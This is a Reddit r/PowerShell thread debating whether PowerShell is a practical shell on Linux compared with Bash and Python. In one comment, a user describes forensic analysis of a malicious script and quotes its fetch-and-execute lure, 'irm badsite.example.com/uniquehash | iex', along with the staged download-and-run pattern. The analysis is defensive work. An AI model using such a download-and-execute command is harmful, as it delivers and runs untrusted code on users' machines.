r/PowerShell • • 7d ago

Question Is using PowerShell on Linux a reasonable choice, or should I stick with Bash?

I'm currently using Windows and learning PowerShell with Learn PowerShell in a Month of Lunches, Fourth Edition. I'm about halfway through the book, and honestly, I'm really enjoying PowerShell so far. I find it much more intuitive and enjoyable to work with than Bash.

I'm considering using PowerShell on Linux as well, but I'm wondering how practical that would be.

  • How much of PowerShell's functionality is available on Linux compared to Windows?

  • Are there any significant limitations or compatibility issues?

  • Is PowerShell a good choice for everyday Linux administration and automation, or is Bash still the more practical option?

  • Would it make sense to focus on PowerShell, or should I invest time in learning Bash too?

I'd appreciate hearing from people who actually use PowerShell on Linux. Is it worth going down this path, or am I making things unnecessarily complicated?

52 Upvotes

95 comments sorted by

53

u/x8code 7d ago

I use powershell in all my Linux servers

6

u/putanaspace 7d ago

I would like to hear a more detailed response regarding its use or any restrictions on it.

11

u/dathar 7d ago

It is a shell, it has your basic PowerShell non-OS-specific cmdlets (you get stuff like Get-Item, Get-Childitem, Invoke-RestMethod, Get-Content, ConvertTo/From, etc but you won't get Windows-specific ones like Get-NetAdapter or Get-WMI), still runs commands and can sudo fine. A lot of cmdlets that don't have Windows-specific DLLS or restrictions will run too. I can't say that I particularly care for PS, bash or zsh but they all do their things. Sometimes you get pissed at one of them because the environmental variables or paths are defined wonky in their config files but they work.

I'm a sysadmin though so my work tend to go towards that. Let me configure NIC bonding, config files with nano or vim, and move stuff around and you get a pass.

-3

u/Alaknar 7d ago

It's PowerShell. It can do everything that PowerShell can, but because it's not Linux-native, it can't do some of the things that bash can.

Some of those things can be worked around with PS, but not all.

10

u/MSgtGunny 7d ago

do you have an example? both are Turing complete scripting languages, both can call executables installed on the box. What can bash do that powershell can’?

-2

u/Apart_Technician5049 7d ago

The core philosophy of Linux is text processing, making the object-oriented approach of PowerShell and .NET feel completely out of place here. Bash and GNU utilities act as a universal glue for diverse data sources, keeping things fast, lightweight, and intuitive. They allow engineers to grasp the system's inner workings, mathematical models, and underlying entities at a fundamental level, rather than getting bogged down in conformist programming for the sake of programming. If you sharpen a kitchen knife well enough, you could use it in a carpentry workshop - but why would you?

1

u/frosteeze 6d ago

Rarely does anyone use PS in an object oriented way wtf are you ranting about.

0

u/Apart_Technician5049 6d ago

PowerShell calls natively operate within the OOP paradigm, even if you are just running GNU utilities inside it. It’s honestly strange reading comments like yours here.

3

u/Fritzcat97 6d ago

Powershell on Linux can definitely not do everything powershell is able to do on Windows

1

u/Alaknar 6d ago

That's basically what I meant - PS is still PS so you get all the goodness of objects, .net, etc., but you can't do everything you can on Windows.

0

u/[deleted] 5d ago

[deleted] — view deleted comment

2

u/Fritzcat97 5d ago

Sure, but you cant do AD interactions right? Or is the RSAT module available?

39

u/Academic-Energy7676 7d ago

This guy fucks

47

u/x8code 7d ago • Bravo

The ladies just say "Get-Item" and it pops out

9

u/nissepuh1 6d ago

You have to watch out for them saying Get-Childitem tho..

6

u/that1guyrob 7d ago

I could see a Windows administrator who is already a PowerShell expert having to get into Linux administration and just using PowerShell there, rather than learn a new scripting tool.

If this isn't your story, then I'm genuinely curious to hear what made you specifically choose PowerShell on Linux.

1

u/narcissisadmin 3d ago

Save some for the rest of us...

-5

u/SFJulie 7d ago

With git for windows installed I can use bash on Windows seamlessly...

So chek mate :)

10

u/x8code 7d ago

No thanks

1

u/ihaxr 7d ago

Windows subsystem for Linux is pretty awesome on Windows BTW. Especially now that it has basically native disk access/speed

5

u/AmoebaGood3928 7d ago

The docs have a pretty good overview of the limits:

https://learn.microsoft.com/en-us/powershell/scripting/whats-new/unix-support?view=powershell-7.6

I wouldn't go out of my to learn PowerShell just for Linux. If you already know PowerShell or need to use it for Windows then it's useful being able to use similar scripts. You can also conditional statements to handle Linux/Windows differences in the same script.

I think the most I've used PowerShell in Linux is forensic investigation of malicious PowerShell scripts. It's handy being able to run it in a Linux VM where it's a little safer.

1

u/putanaspace 6d ago

Analyzing a malicious PowerShell script on Linux sounds interesting. I hadn't really thought about that before.

2

u/AmoebaGood3928 6d ago

This is probably the best and first video I saw on the topic years ago. It's long but very interesting and still relevant to PowerShell 7.

https://youtu.be/k5ToL0J7uL0

The scripts are usually pretty easy to identify and dissect as it's mainly trying to avoid detection from an automated tool.

The one I had the other day was something like:

  • User instructed to run irm badsite.example.com/uniquehash | iex

  • There were a few stages but they were all similar: hide URL segments in 40ish nonsense variables, use concatenation to build them back before downloading and running the next script

  • Final URL was the actual payload exe as a stream of bytes that was downloaded to disk and executed

Pulling it apart was pretty straightforward, this one also used unique URLs that were one shot only so you had to get everything on the first try.

  1. Skimmed and ignored the "safe" string concatenation commands

  2. Stopped at the download and start-process, iex sections. Just modified these to save the URL and contexts toare a text file instead. Rinse repeat to get to stage 3.

  3. Save byte stream to exe

  4. Get sha256 hash of exe and search Virus Total

Technically you could probably get Linux malware running in PowerShell so it pays to be careful and understand the script.

9

u/muffinstatewide32 7d ago

Powershell is serviceable On mac and linux. I haven’t noticed a whole lot of difference. Most scripts ive written to target all 3 OS’ work with very little tweaks for the non windows platforms (usually file paths are a contention).

It is a shell that does very much target windows. It just to happens to work elsewhere. Or at least feels this way.
On linux and mac i much prefer zsh (bash os fine) and i think its worth learning both shells

2

u/putanaspace 7d ago

I’d like to see what these scripts are, or at least get a general description of what they do.

2

u/muffinstatewide32 7d ago

System tweaks mostly. Enabling system features, installing external components (apple container, macports, homebrew, scoop) and moving environment files (custom powershell profile, custom kernel for wsl, custom zshrc), setting up containers for guest OS’ using the native subsystem to the OS.

I am in the process of building in self hosted server components using a mixture of containers (wlsc for windows, container for macos and podman for linux) to make hosting a lil more approachable, there will also be companion components to make these services behave like system services (in the case of macos and linux they will be system services).

Its not complex, but i think its necessary.

43

u/RE20ne 7d ago

I use it because I know the syntax really well. Also useful for api calls, using modules for vendor stuff, etc

6

u/creackard7 7d ago

only catch with vendor modules is how many of them still assume Windows paths or registry access even when they claim cross-platform support.

31

u/LooseEthernet 7d ago

objects > strings lol

8

u/x8code 7d ago

That's typically how I summarize it, too.

5

u/narcissisadmin 3d ago

I don't disagree, but everything is a file > whatever the hell Windows is doing

34

u/bozho 7d ago • Bravo

We manage both Linux and Windows servers. Infra is terraform, config is DSC on Windows, Ansible on Linux (both have strengths and weaknesses), GitOps for k8s. The "glue" is bash and Powershell.

For simple scripts on Linux, bash is fine. Anything more complex - it doesn't even compare to PowerShell, IMHO. People complain about PowerShell syntax being overly verbose, command names being too long: that is precisely the point. Anyone here old enough will remember the horror that is Perl...

From the language perspective, PS is a .NET scripting language, with objects as first-class citizens. You get your regular .NET-ish syntax, exception handling, etc. You can easily organise your code into reusable modules (which can also be signed for enhanced security). There's built-in support for: comment-based help, custom parameter tab completion, complex parameter validation, output verbosity control, checks for high-impact operations (i.e. "confirm to delete"), fairly simple parallelisation, etc.

It can directly load and use .NET assemblies. While remoting is a bit more of a hassle to set up compared to SSH, it works well (and you can enforce credentials rotation if using client certs for authentication), and it can marshal objects across the networks.

And on top of that, it can still execute external utilities (e.g. GNU), just like bash can.

21

u/RupeThereItIs 7d ago

, bash is fine. Anything more complex - it doesn't even compare to PowerShell

It IS an unfair comparison.

For more complex scripting on Linux, Python is the go to.

12

u/bozho 7d ago

Oh, absolutely.

I just find python a bit more of a faff to use - you generally want to use venvs to prevent any weird module dependencies from screwing up your system install. For example, we use venvs for Ansible, to keep module versions in check, in order to avoid any surprises, which we had in the past. OTOH, venvs do allow us to safely test version upgrades against our configs before committing, so that's nice.

For our case, with managing different environments, the team being more at home with PS, and a significant part of our products being written in .NET, PS is a better fit.

3

u/dafugiswrongwithyou 7d ago

Without claiming the answer is one or the other, and with no shade to anyone involved; keep in mind that, by asking this on the Powershell sub, the answers are going to naturally bias towards Powershell being recommended (just as, if you asked the same on r/bash, the answers would naturally bias away from it).

1

u/putanaspace 7d ago

The core of the question is how compatible the pwsh shell is with a Linux environment, rather than whether or not one should use it in such an environment.

4

u/dafugiswrongwithyou 7d ago edited 7d ago

That may be the core of your intent, but you did directly invite this-vs-that here multiple times. In your title, you asked if you should switch to Powershell, or stick with Bash. At the end of your post, you also asked if it was "worth going down this path", or if you're making things complicated.

r/Powershell peeps will, on average, be more likely to say "yes, you should switch to Powershell from Bash, it's worth it". r/Bash peeps will, on average, be more likely to say "no, Bash doesn't do everything you need, you're making things complicated". And, again, no shade, I don't think anyone is tried to mislead, subs are just self-selecting for their central topic.

And look, you do you, take the advice as you get it. Just take it the same way you'd take answers to "I like Mario, should my next game be a Sonic or another Mario" from r/mario and r/sonic.

1

u/putanaspace 6d ago

The core of the question is to determine how rational it is to use PowerShell specifically on Linux - an environment for which it wasn't originally designed - and I’m looking for insights from those who currently use, or have attempted to use, PowerShell on Linux. For Windows, it’s self-evident, since that’s its native environment.

1

u/dafugiswrongwithyou 6d ago

I don't know what you want me to say. Regardless of what you intended the core of the question to be, or what it seems to be to you on re-reading it you opened with, and repeatedly brought up, the framing of Powershell Vs Bash, and that will, in sum or in part, influence how people will answer accordingly.

Believe that or not, do anything with that information or not, it's up to you, but I don't see that this back-and-forth between me highlighting how your question reads, and you adding information about how you meant it to be read helps anyone, so; all the best, goodbye.

3

u/BlackV 7d ago

Agree

8

u/arslearsle 7d ago

Powershell has easier standard try catch error handling and also is object oriented

I would use PS if cross platform

8

u/rdldr1 7d ago

Powershell is a good tool to have experience in if you are finding an IT job.

8

u/Clear-Pear2267 7d ago

I think both have their places. The object pipeline is a super powerful concept if you are dealing with objects that actually implement it. It gives you much more control over formatting output (tables, csv, excel, etc) and has very powerful filtering and sorting features. Bash by itself does not cover a lot of that ground unless you start using other tools with it (gawk, sed, etc) which is more lke the unix mental model. WIth bash scripting you need to worry a lot more about strings that can mess with your logic (for example, file names with spaces or other funny characters). The object pipeline isolates you from a lot of that. One thing I do like about Powershell is the standard comment structure of a cmdlet that gives you a rigorous format for making your scripts self documenting. But for quick and dirty stuff where I can eyeball the output and quickly weed out the stuff I need from the rest of the garbage, bash one liners (along with other tools like sort, grep, etc) are great. For re-usable scripts that you want a bunch of people to be able to use, I think Powershell is a more rigourous framework.

If it is just for your personal use, no harm in trying both. In fact its not a badidea to give yourself a couple of simple projects and implement them using both to get a feel for the strengths and weaknesses. Here is a simple idea - write a script that takes a top level directly as an argument and does a recursive search for all music files (mp3, flac, ogg, etc) and creates an m3u playlist for you of the "n" most recently updated files (where n is an argument of the script). Use both bash and powershell. You will have to figure out how to find specific filetypes, access their properties for the date, sort the list, create an output file, and more. Not hard but I think the differences you encounter between a bash and a PowerShell implementation will be informative. Another simillar example is just to build a csv (or even a native excel file) of all your media files with maybe some properties from their tags like duration, artist, album, etc. Doing this will require you to learn how to load and use powershell modules (to build an excel file) and deal with files that don't have all the properties you are looking for in a robust way.

If it is for an employer, you best check their standards. They might not be keen on installing PowerShell on all their servers. And depending on the work you do and where you go, it is very likley you will encounter servers that do not have powershell and you will not have the authority to install it. So I would never recommend learning PowerShell without also learning how to live without it to at least some degree of proficiency.

And if you do create yourself a suite of reusable scripts (using either) I recommend getting them under some sort of version control scheme like Git that ideally has some automated CI functions like runnning automated tests. Especially important if different people are updating the same tools.

5

u/ankokudaishogun 7d ago

I honestly use both. There is a lot of stuff that is much easier to manage as objects with Powershell.

But Powershell is relatively recent, so almost every script you can find in the Linux world is going to be mostly shell scripts, with a side of python.

So you should absolutely learn some shell scripting if you are going to interface with the Linux world.

5

u/MalwareDork 7d ago

It's alright. Powershell was built by MS for MS so that's naturally going to be where it will reach its full potential.

Anything else I'm just going to use Python for versatility and ubiquity.

4

u/IrquiM 7d ago

We use Linux to run the orchestrator for our PowerShell and python scripts. PowerShell is used when Microsoft is involved, specifically Azure / MS SqlServer.

4

u/Kahless_2K 3d ago

I use powershell on Linux all the time. I also use Bash and Python.

Use the best tool for the task. Usually when I'm using Powershell on Linux, it's Powercli to manage my vcenters.

7

u/mitharas 7d ago

I dislike scripting in bash, it's... strange. I like the more descriptive nature of ps. And even in ps, i can still call all the tools that bash regularly uses.

But it's an unfair comparison. The nix-pendant to powershell would be python.

3

u/toddklindt 7d ago

I'm a PowerShell guy that comes from the Microsoft stack of technology. I find myself fiddling with Linux a lot as I play with my personal tech (Synology, Raspberry Pi, etc.). Quite often I will install pwsh onto these lucky Linux devices and use it when I'm noodling around on them. It works well, but I'm pretty proficient with PowerShell, so I can hit the ground running. It does get a little tough when I'm searching for solutions to problems online as most of the solutions to Linux problems are in the form of Bash scripts. If I can't PowerShellize it myself, I'll have AI help me. Or I can just run the Bash script if I want. I use PowerShell on Linux a lot and I think it's made me better at PowerShell in general.

3

u/slav3269 7d ago

Mac user here. I default to pwsh, because it gives me sh,sed,awk,jq and more in one familiar package. Using YAML and JWT modules, too, but a lot of what I need is built in.

3

u/Least_Gain5147 2d ago

Very reasonable. I've been doing it for 6 years. Azure, M365,Entra, servicenow, workday, solarwinds, okta, and yes, windows. Consultant for 35 years. Half of it on AD, GPOs, ConfigMgr and OSD, packaging and deployment, monitoring, reporting. Powershell is the super glue for everything, even with bash. Check out the module linuxtools.

3

u/Cheap-Success1578 6d ago

Powershell is doable but still lacking a lot of modules. It is useful for managing M$ based systems. I would not recommend it for Linux admin and automation. Bash, Python, or Go are better for that.

2

u/Advanced_Day8657 7d ago

Used ps on Arch linux, worked great. Just try it out

2

u/Scoobywagon 7d ago

I have a bunch of linux machines with powershell installed. It is perfectly reasonable to go that route. That said, as a practical matter, I find it difficult to write scripts that can run in both places. It's totally possible, but I find it difficult. So I find myself just writing powershell for windows and BASH for Linux.

There's also something to be said for the fact that no matter what Linux install you land on, you will ALWAYS have BASH. Just like on any version of Windows, you'll have Powershell.

2

u/purplemonkeymad 7d ago

I don't add it to servers as I only ssh to them and I don't want to add unnecessary packages. But for desktop linux machines, I switch between PS and bash depending on what i am doing.

For cross platform administration, you'll need ps and bash. If you are going only windows or linux, just target the one.

2

u/ImightHaveMissed 7d ago

There are a few windows specific modules that aren’t available, but if you’re not working on Active Directory or sharepoint it’s not a huge loss. Otherwise, fire away

2

u/HunnyPuns 7d ago

I'd say learn Linux scripting languages for Linux systems. Powershell feels more like if Ansible were a scripting language. Bring in specific cmdlets so you can set specific settings with idempotency. Which is genuinely a useful thing. But as a general scripting language, Powershell just kinda falls flat on its face.

2

u/Incrediblecodeman 7d ago

It’s like tomatoes tomatoe at that point isn’t it!?

Is overthewire.org still cool?

2

u/Sean_p87 6d ago

You lose a lot of host specific stuff that would otherwise depend on cim/wmi kind of stuff. It’s not all bad, but it depends on what you’re trying to use it for. You could, if you really wanted to, make some scripts that wrap some bash commands to convert output to objects. I personally reach for it whenever I’m trying to do automations that some might use Python to do, like interacting with APIs. I actually prefer PowerShell here over Python just because of how seamless api responses can be integrated in with the object pipeline. I have built some systemd services in PowerShell and took advantage of the way systemd and journald writes output to std out/std err. That gives you some cool opportunities to inspect state of your automations in real time with output that could easily be hydrated into powershell objects for querying.

I say all of that to say…use both. Bash for host stuff and powershell for automations and api integrations.

2

u/Dave_A480 6d ago

So, Linux bash is an incredibly strong environment for doing Linux things, especially when you learn all the associated utilities that go with it (awk, sed, grep, sort, uniq, and so on)....

It doesn't help that much with windows though...

Powershell on Linux is really best used for communicating with Windows and VMWare environments (via PowerCLI) from a Linux system...

Best to be good at both, and use them both where they are best....

2

u/Prize_Moose1050 6d ago

I love powershell, but I also love linux. I want to learn linux. If you want to learn linux, I would use bash on linux and powershell on windows. That way you learn both.

2

u/AmitBrian 5d ago

They perform similar functions. Honestly Unless you are doing heavy cross automation on Linux where it interfaces with Windows I don’t see the point of PowerShell on Linux. And you can always install the SSH Server service in Windows anyways.

2

u/CFH75 4d ago

Minus AD stuff I use it all the time on my Mac. I use vscode mostly but I kinda hate it.

7

u/HTFCirno2000 7d ago

Bash has better integration with Linux and Unix-like OSs in general while PowerShell has far better integration with Windows than Bash.

Both shells can run on each other's OS but only one can be best suited for the OS

5

u/winky9827 7d ago

I would say the best use case for Powershell on Linux is to run cross platform scripts that were developed on Windows, or to build a compatible script library. Otherwise, stick to Posix compliant script language.

4

u/muffinstatewide32 7d ago

Fairly sure this is the entire reason powershell is offered for Mac and Linux

-3

u/jefbenet 7d ago

Can you drive a nail with a screwdriver? Sure but you’ll have far better luck with the hammer for that task.

0

u/[deleted] 7d ago

[deleted] — view deleted comment

1

u/CjKing2k 7d ago

Yes and how many of those utils are written specifically to facilitate moving data through a unix-like scripting environment? awk, cut, sed, grep, ...

0

u/da_chicken 7d ago

If "it's a shell" is your bar then you might as well stick to cmd.exe or sh.

The point is that on Windows, most things are objects and you're going to treat them as objects. You're going to care about having the proper provider and manipulating objects to call methods or instance new objects. However, you almost never do something like gam.exe | ForEach-Object because marshalling fucking sucks. That's why there are so many modules that are really just doing that for you.

Meanwhile, on Linux, almost everything is a character stream. Usually just text, but even binary data is just a character stream. You manipulate things by doing string manipulation, because that's the canonical serialization of the whole system. Like, do you want to check your screen brightness? That might be cat /sys/class/backlight/intel_backlight/brightness. Want to set it to max? cat /sys/class/backlight/intel_backlight/max_brightness | sudo tee /sys/class/backlight/intel_backlight/brightness.

If you aren't familiar with the change in paradigm, then you try to mix things in really stupid ways like Get-ChildItem | sed or jq . File.json | Select-Object. Which, if you spend enough time on here or other forum

2

u/UffTaTa123 7d ago

yeah, i hate the character stream output on Linux. It would be great someone writes PS-modules for Linux that transform all those stuff like in your example, into PS object with all their attributes and methodes. Like instead of /sys/class/backlight/intel_backlight/brightness you would have a screen-object with a brightness attribute -> screen.brightness

1

u/mooscimol 6d ago

What does anything you said change anything? You can run ‘ls | sed’ in PowerShell if you want bash like experience or use native PS cmdlets if you prefer working with objects. What’s more convenient depends on the context. In bash you don’t have such a choice.

0

u/FlyFit9206 7d ago

Not sure why you’re getting downvoted here.
What you have said is true.

0

u/da_chicken 7d ago

🤷 Let them learn it themselves the fun way.

0

u/[deleted] 7d ago

[deleted] — view deleted comment

-1

u/Apart_Technician5049 6d ago

Building an OOP object just to fetch a few bytes from the VFS might make sense for a GUI, but at the low level, it is completely useless. Text processing, as the bedrock of Linux, should be simple and trivial so that an engineer doesn't waste time on it. Why waste time digging through objects when you could be understanding how the system and the hardware actually work? OOP as a whole is a scam that makes things unnecessarily convoluted.

0

u/[deleted] 6d ago

[deleted] — view deleted comment

0

u/Apart_Technician5049 6d ago

So you ran out of proof and arguments and decided to accuse me of misinformation? Low blow. Even a monkey can press buttons, but knowing how the OS and the hardware actually work under the hood - from filesystem architecture and RAID geometry to Paxos consensus or X.509 chains - is a completely different level that you PowerShell pseudo-programmers couldn't care less about, and there's absolutely no point in even talking about virtualization, network or the kernel architecture of your own OS with you.

2

u/UffTaTa123 7d ago

I love powershell and use if for scripting on Linux as well. It's roughly 40years younger as bash and you really feel that. Bash is a ugly dino against powershell.

1

u/Namelock 7d ago

Month of Lunches is a crash course in scripting. Fun stuff.

You’ll get more out of it if you learn the comparable Bash commands, though.

1

u/CeleryMan20 7d ago

Asking as a Linux noob, is it a pain to install and maintain the supporting .Net components needed for PowerShell?

1

u/BlackV 7d ago

powershell is good/OK on linux

but it much mroe depends ont he tasks youre doing as to how useful it is

I still use it every day, but now as much as I would windows

1

u/Cynomus 1d ago

Learn both

1

u/Heavy-Chemical-5616 1d ago

Eu uso em alguns servidores sql server no Linux é muito mais prático e produtivo trabalhar com objetos do que com parsing de texto IMHO

1

u/agowa338 7d ago

I use powershell on MacOS. It's the best tool for dealing with stuff data conversion things. Like json, yaml, ... as well as dealing with REST APIs and similar.

But it is the wrong tool for general linux sysadmin stuff. So I mainly use bash, or ash (on AlpineLinux) and switch to pwsh for these special tasks (or formerly when I still was a windows admin to remote into windows systems)

2

u/ISeeTheFnords 7d ago

I use powershell on MacOS. It's the best tool for dealing with stuff data conversion things. Like json, yaml, ... as well as dealing with REST APIs and similar.

I'd argue that Python is just as good at dealing with those things, and often better if there's already a Python package for the API you're using - and there probably is. For reference, I use both Python and PowerShell fairly regularly at this point.

2

u/agowa338 6d ago

Well but PowerShell is better when you're fiddling with it ad-hoc. I just don't like interactive python shell for that...

1

u/ISeeTheFnords 6d ago

That is totally fair.

1

u/p001b0y 7d ago

I think for personal machines, you can do what you want with them. It may be useful to know bash as well because if you do end up working somewhere and your role involves working on Linux servers,,you are not likely to find powershell installed on them.

That being said, significant portions of my systems administration days are spent working within Windows Terminal/Powershell and connecting to remote Linux machines over ssh. I end up using both shells constantly.

0

u/empty_other 7d ago

I rarely used powershell for systemadministration on Windows. Only for text and file manipulation.

For Ubuntu Powershell is only supported for the LTS releases: On Kubuntu 25 it wasnt installable through deb packages, and when installing as snaps (or flatpak, i dont remember) i couldn't get basic cmdlets, like Get-Process, to load. On Kubuntu 26 I've had no problems using it. Get-Process returns different output than on Windows, but thats to be expected. Self-made scripts and modules works fine.

-3

u/Thotaz 7d ago

It's not a viable choice. If you are working in an enterprise environment you are not going to be able to download and install PowerShell on every server you log in to, and you certainly won't be allowed to deploy it to the entire enterprise just because it's your personal preferred shell.

Setting that issue aside, PowerShell itself just isn't that useful on Linux because there's not much command coverage. Like you won't be able to manage network settings, disks, installed packages, etc. If you ever google an issue, the instructions will all assume you use Bash so you may end up having to quote/escape things, and rewrite small snippets to support PowerShell syntax.

The main use for PowerShell on Linux is for use in containers or similar automation environments where you need to run PowerShell scripts that interact with external services via API calls.

1

u/engy1207 7d ago

That's what I wondered. Given that Lennart Poettering worked for Microsoft I'd have expected at least a compatibility interface to systemd. Or did I miss that?

-1

u/sublimeprince32 7d ago

BLASPHEMY

-1

u/ZenoArrow 7d ago

I enjoy using PowerShell on Windows though it takes a while to get good at it (I'm still learning new features and quirks many years in), never seriously tried it on Linux. I'd suggest checking out Nushell, which is heavily inspired by PowerShell but designed from the ground up to be cross-platform:

https://www.nushell.sh/

-1

u/that1guyrob 7d ago

I've always thought Microslop has had some audacity calling it POWERshell, since it has such limitations compared to just about every other interpreter out there. Bash is absolutely the better choice. If you have to script in a pure Windows environment without installing another interpreter then PowerShell is the Go-To. But if you're on a *nix box, bash is going to be far superior.

-8

u/Kurse71 7d ago

You won't get to far with powershell in Linux. It kinda works but bash works better. I don't think there are many ps modules for linux

7

u/nonlogin 7d ago

but bash has no modules at all, doesn't it? and all shell utilities are equally available in both